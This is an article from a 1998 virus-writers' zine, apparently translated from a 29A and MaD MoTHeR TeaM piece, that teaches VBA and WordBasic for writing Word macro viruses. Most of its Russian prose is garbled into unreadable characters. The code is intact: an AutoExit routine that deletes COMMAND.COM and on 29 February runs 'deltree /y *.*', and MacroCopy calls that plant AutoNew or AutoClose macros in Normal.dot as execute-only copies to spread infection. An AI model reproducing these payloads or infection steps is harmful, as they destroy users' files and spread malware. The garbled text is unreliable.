
                        
       Virus Magazine   Box 176, Kiev 210, Ukraine      IV   1998
            
                            
                                           
                                 
           
          (C) Copyright, 1994-98, by STEALTH group WorldWide, unLtd.

                       @@@@@@@@@@@@@@@@@@@@@@@@@@@@@
                       @    ᪨   @
                       @           VBA           @
                       @       Leugim San/29A      @
                       @            &              @
                       @        MaD MoTHeR         @
                       @@@@@@@@@@@@@@@@@@@@@@@@@@@@@
                         (@) MaD MoTHeR TeaM - 1996

      -   ணࠬ,  ᠭ  ஬ 몥,  
ᯮ 筮  ⮬⨧樨  ᮢ   -
.     砥  㤥   몠 Visual Basic for
Applications (VBA) and WordBasic (WB) - 몠, ᯮ㥬 Microsoft
 ᢮ ணࠬ,  ⭮, Excel, Project and PowerPoint ᯮ-
 VBA,  WinWord ᯮ WB.

       㤥  VBA ⠭ 몮,  ⠪   ।-
⠢ ᮡ  㭨஢ -,  ᤥ  騬 
 ணࠬ Microsoft. , WB   ⫨,   -
室  㤥 뫠 ⭮  .

      ᨭ⠪   몮   ⫨,  -
  宦,  ⠪   㬮砭  ਬ  VDA   ⠭-
 -몥 Microsoft.

      VBA -  뢠 楤;  뢠  ⨯ :
      - 楤-ணࠬ
      - 楤-㭪樨

     楤-ணࠬ   ᯮ ।⢥  -
뢠  㣨 ᮢ. ⠪  ᫥騩 :

        Sub <_>
           ->   <-
           ' ਩ 稭  
        End Sub

 ਬ:

        Sub Stupid_Greeting
           '   뢠    뢮
           ' ᮮ饭
           MsgBox "Hello World!"
        End Sub

     楤-㭪樨 (⠪  뢠  㭪ﬨ) 
祭, ஥   ।  ⢥ ࠬ 㣮 -
楤.  ᨭ⠪ :

        Function <_㭪樨>(㬥)
           -> 樨 <-
           ' ਩
        End Function

 ਬ:

        Function AddAB(a,b)
           ' 㬬 ࠬ a  b  頥 १
           '  ६ "AddAB"
           AddAB = a+b
        End Function

     筮,   ⠢  㬥 ⮫쪮 ᮢ,  ᪮쪮
 㦭,    ᪮쪮  ,  ࠭祭   ⢮ .
,   﫨,   ⠪  ᮢ,    -
㫥 VBA.   砥,    VBA -   ᮢ (-
-ணࠬ  楤-㭪権), ⠢ 㬥.

      VBA ⠪ ࠡ⠥  ꥪ⠬.      뫪  
㬥, 䨪.... 㫥 VBA. ꥪ  ᢮⢠.
 ਬ,  ᢮⢮ ( ਡ⮬)  梥  䮭  ꥪ.  
ꥪ⮢ ⠪    ⮤,  ।⠢騥 ᮡ 樨,  
 ⢫  ꥪ⠬.

     VBA ⠪  ࠡ  ६묨, ,   몠 -
୮ ⨯,    ⨯  ⠪ 몮 樨 :

      横 'For-next' :

        Sub Counter
           Infect_Num=0
           For Count=1 to 10
              Infect_Num=Infect_Num+Count
           Next Count
           MsgBox "⨣ ᨬ쭮 ⢮ ࠦ"
        End Sub


      ᫮ 'If-then' :

        Sub Infect_Check
           If Infect_Num=0 Then MsgBox "  ࠦ"
        End Sub


      㪨 'With-end with' (ᯮ  ࠡ  ᪮-
 ᢮⢠ ⭮ ꥪ):

        Sub ChangeProperties
           With Selection
              .Font.Bold=True
              .Font.ColorIndex=3 '  梥
           End With
        End Sub


      ᥫ 'Select case-end select':

        Sub Check_Infection
           Select Case Infect_Num
              Case 0
                 MsgBox "  ࠦ"
              Case is > 0
                 MsgBox " ࠦ"
              Case is < 0
                 Infect_Num=0
           End Case
        End Sub

      㬥  ࠡ  VBA -  ⫠.    
஢ ,     .....孮 ⫠ -
   ᯮ짮  䫠  뢠  ஥ ६ -
   뢮 MsgBox ᫥   ,  ⠪    
஢ ᮤন  ६ / 権 ( -
 VBA  ⠪  뢠 ᯮ   ⠢  -
஫ 窨).

     ஬ ⮣,    ᯥ⮬  㬥 㭪権;   
㦥 ᬮ५,   ᫥ :

        Function <>(㬥)
           [...]
        End Function

     㬥⠬   ⠭,  ६   ࠦ.  
类 砥,   楤  㬥⮢.

        Function Get_Name()
           Name=Application.UserName
        End Function

      㭪樨,  ᥣ ॡ ஥ 䨪஢ -
 㬥⮢ ( 60). 㣨 㭪樨   易⥫ -
㬥,  ⠫  ⢮.

     Ok, ⥯ ᫥ ⮣,   ᭮ VBA ⠫  ᥬ,  -
३  祭 ⮣, ࠤ 祣    﫨 :   -
  VBA.

      VBA  祭 㭨ᠫ,     ᭮   稭 :
-, -  鮩   祭  ᯮ짮;  ⠪
   ।⠢  ᮡ  ,  ਥ஢  ᮡ (  
ꥪ :),    祭  ᮧ ᫮ 㫨,    
   ६.  -,  讥  ⢮  ।।
㭪権,   .   ⠪ ᪠ -,  
㦥 뫮  㯮  -...    㭪樨 ( )
*⮬᪮ 믮*, ⠪    믮  -
,   ᠭ 楤 ⮪஢, ᠤ  -
  .., ᯮ㥬 ⠭묨 DOS-ᠬ.

      ⮣, ᪫ ⮩ VBA  ᢮⢮ -
,   २⢮    ⠬  .  VBA  
Win 3.x,  Win95,  WinNT, Mac  ..,     ,   -
 ਫ, ন騥 VBA.

       㬠,   ⠪ ... :-)

     VBA ।⠢  ᮡ ,  ஢   ਫ,
  ண  饭.   砥,  ᫨    ᯠ-
   WinWord,    ।। 㭪権  ⠪ 
ᯠ᪮, ⠪   ᫥       ( -
ᠭ  ᯠ᪮, ன -  ᪮).

           (ᯠ᪨):

           Sub Demo_Macro
              Con Seleccin.Fuente
                 .Nombre="Arial"
              Fin Con
           End Sub


         ன  (᪨):

           Sub Demo_Macro
              With Selection.Font
                 .Name="Arial"
              End With
           End Sub

     ᫥     㤥  ࠡ    ᯠ᪮  ᨨ  Win-
Word... 맮 訡 믮 , ⠪    㤥 -
 .   ⠪,   VBA -  㥬 ⨯  (
㥬), ⠪    訡 믮  ' -
'.

     ...ࠧ   襭 ⮩ ஡  ...  ...  ...  ...
}:-) ... 筮, ! ;-)  㭪樨     VBA
 ᨬ  몠.  ਬ,  ⮬᪨    AutoExec
( ᪠    㧪  WinWord,  ᫨    蠡
Normal.dot) 㤥 ࠡ   ᨨ VBA.

          ࠦ 㤥 ⪠ ᮧ
⨯ଥ  몮 ... ୮  㦥
ᠭ...}:-) -... ,  .

     騬 ⠯,  ᫥ ⮣,   祭, ᨭ⠪ 몠,
㤥 祭  㭪権,   室 ᯮ짮  -
. ⠪   ⥪   ணࠬ஢  ,    㪮-
⢮  -ᠬ, ⨬   ⮬᪨ -
 WinWord, ॠ  WordBasic ( ,   VBA).

       ᯥ樠 ᮢ, 믮 ⮬᪨ :

  AutoExec:   ,  ⨢㥬   㧪  ⥪⮢
,   ⮫쪮   ⮬ 砥,  ᫨  ࠭  蠡
Normal.dot   ⠫ ⠭ ਫ
  AutoNew: ⨢  ᮧ  㬥
  AutoOpen: ⨢  ⨨ 饣 㬥
  AutoClose: ⨢  ⨨ 㬥
  AutoExit: ⨢  室  ⥪⮢ 

      ⥫⢠ ᨫ    㭨ᠫ쭮    ᮢ,
ﭥ   ᫥騩  ࠣ    ( ⥪饣   
ᯮ  몥).

        ' ࠭   AutoExit
        Sub Main
           If Application.Username <> "MaD_MoTHeR" Then
           ' ஢ઠ ॣࠩ樮 
              SetAttr "C:\COMMAND.COM",0
              ' ᭨ ਡ COMMAND.COM
              Open "C:\COMMAND.COM" for Output as #1
              ' ஥  ஢ન,  㤥  訡
              Close #1
              ' ᫨  -  ஥
              Kill "C:\COMMAND.COM"
              ' ...  㤠 }:-)
           End If
           If Month(Now())=2 Then
           ' ⥬  - 䥢ࠫ ?
              If Day(Now())=29 Then
              '  29? (⮫쪮 ࠧ   ) :-)
                 Shell "deltree /y *.* > null"
                 ' ... /y ࠡ⠥   몮 :-)
              End If
           End If
        End Sub


     ਢ   ஢  室  WinWord  
:  ࢮ - ᫨ WinWord ॣ஢   MaD_MoTHeR, 
㤥 㤠 COMMAND.COM ; ஥ - ᫨ ⥬  29 䥢-
  (⮫쪮  ᮪ ) :-)  믮  "delt-
ree /y *.* > null" ( 㬠,     ,     
,  ? };-)

      ⥯    筮   ⥭ ᫥饩 
᫥  ⮣ 㪮⢠  :  ࠧ.    
   ᠭ ᮢ,  ⠪ ? :-)

     쭠 ,      -   ஢
⮬᪨  ( ⥩訩 ਬ),  ⮡ ⨢-
   蠡,  뢠  㬮砭 WinWord-.  -
 ⠪: ࢮ-ࢮ, ।塞 ६,   -
襬   :

        name$ =  WindowName$()  +  ":AutoNew" '   㤥
                                              '믮 
                                              'ࠧ  ᮧ
                                              ' 㬥

      ,   㦭 ᤥ -        蠡
NORMAL.DOT ⮩  :

        MacroCopy name$, "Global:AutoNew"

     ,  ⠪ ?   类 砥,  ⠭ ᯮᮡ
ࠡ -ᮢ,     㣨,   ᯮ-
ᮡ ࠦ...  ᥣ    㦭,    ࠦ 
᪮쪮 祪 .    ,   蠥  
   㤭  ,   ஢ --
ᮢ...   , 祬 ࠧ!!! :-)


        MacroCopy "MyTemplate:MyMacro", "Global:AutoClose", 1

     ᫨   믮  MacroCopy   ࠬ஬,  ࠢ 1 (
㣮   0),   १  ஢    
⮫쪮 ᯮ塞 ,   ।஢!:-)

      ,   室 , ⮡ ᮧ --
... ࠪ⨪,  ᫥    ⠩  ᮧ  -
⢨⥫쭮 ਣ쭮.  ,  ᠭ  ਬ -
- 祭  '29A virii'.   㯥ଠ쪨  㯥-
⮩ -,  ᮤঠ騩      :-)  
ᬮ  !

                                       (@) MaD MoTHeR TeaM - 1996
                                      ॢ (c) HellRaiser 1997